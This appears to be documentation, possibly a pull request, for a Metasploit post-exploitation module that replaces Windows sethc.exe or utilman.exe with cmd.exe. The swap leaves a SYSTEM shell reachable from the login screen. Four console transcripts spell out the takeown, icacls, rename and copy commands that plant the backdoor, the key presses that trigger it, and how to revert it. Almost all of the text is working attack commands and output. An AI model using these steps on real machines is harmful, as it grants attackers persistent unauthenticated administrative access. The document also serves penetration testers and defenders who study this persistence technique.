Windows sethc and utilman backdoor

This module will replace sethc.exe and utilman.exe to a command prompt.

Example 1: Swapping sethc with cmd
```
msf post(bak) > set session 1 
session => 1
msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Starting the Swaparoo backdooring process.....
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\sethc.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\sethc.exe /grant administrators:f
[*] Executing: rename %SYSTEMROOT%\\system32\\sethc.exe  sethc.exe.bak
[*] Executing: copy %SYSTEMROOT%\\system32\\cmd.exe %SYSTEMROOT%\\system32\\cmd3.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\cmd3.exe sethc.exe
[*] Swaparoo module has completed!
[+] Press Shift Key 5 times at Login Screen to access shell!
[*] Post module execution completed
```

Example 2: Swapping utilman.exe with cmd

```
msf post(bak) > set utilman true
utilman => true
msf post(bak) > show options 

Module options (post/windows/escalate/bak):

   Name     Current Setting           Required  Description
   ----     ---------------           --------  -----------
   PATH     %SYSTEMROOT%\\system32\\  no        Path on target to Sethc.exe or Utilman.exe
   RESET    false                     no        Restore Original Sethc.exe or Utilman.exe
   SESSION  2                         yes       The session to run this module on.
   UTILMAN  true                      no        Use Utilman.exe instead of Sethc.exe

msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Starting the Swaparoo backdooring process.....
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\Utilman.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\Utilman.exe /grant administrators:f
[*] Executing: rename %SYSTEMROOT%\\system32\\Utilman.exe  Utilman.exe.bak
[*] Executing: copy %SYSTEMROOT%\\system32\\cmd.exe %SYSTEMROOT%\\system32\\cmd3.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\cmd3.exe Utilman.exe
[*] Swaparoo module has completed!
[+] Press the Windows key + U or Click on the Blue Help icon at lower left on Login Screen to access shell
[*] Post module execution completed
```

Example 3: Resetting our sethc.exe backdoor
```
msf post(bak) > set reset true
reset => true
msf post(bak) > set utilman false 
utilman => false
msf post(bak) > show options 

Module options (post/windows/escalate/bak):

   Name     Current Setting           Required  Description
   ----     ---------------           --------  -----------
   PATH     %SYSTEMROOT%\\system32\\  no        Path on target to Sethc.exe or Utilman.exe
   RESET    true                      no        Restore Original Sethc.exe or Utilman.exe
   SESSION  2                         yes       The session to run this module on.
   UTILMAN  false                     no        Use Utilman.exe instead of Sethc.exe

msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\sethc.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\sethc.exe /grant administrators:f
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\sethc.exe.bak
[*] Executing: icacls %SYSTEMROOT%\\system32\\sethc.exe.bak /grant Administrators:f
[*] Executing: del %SYSTEMROOT%\\system32\\sethc.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\sethc.exe.bak sethc.exe
[*] Swaparoo module has completed!
[+] System should be restored back to normal!
[*] Post module execution completed
```

Example 4: Resetting our utilman.exe backdoor
```
msf post(bak) > set utilman true
utilman => true
msf post(bak) > show options 

Module options (post/windows/escalate/bak):

   Name     Current Setting           Required  Description
   ----     ---------------           --------  -----------
   PATH     %SYSTEMROOT%\\system32\\  no        Path on target to Sethc.exe or Utilman.exe
   RESET    true                      no        Restore Original Sethc.exe or Utilman.exe
   SESSION  1                         yes       The session to run this module on.
   UTILMAN  true                      no        Use Utilman.exe instead of Sethc.exe

msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\Utilman.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\Utilman.exe /grant administrators:f
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\utilman.exe.bak
[*] Executing: icacls %SYSTEMROOT%\\system32\\utilman.exe.bak /grant Administrators:f
[*] Executing: del %SYSTEMROOT%\\system32\\Utilman.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\Utilman.exe.bak Utilman.exe
[*] Swaparoo module has completed!
[+] System should be restored back to normal!
[*] Post module execution completed
```
![image](http://i.imgur.com/YjI36c7.png)
Have you tried ```cmd_exec``` instead?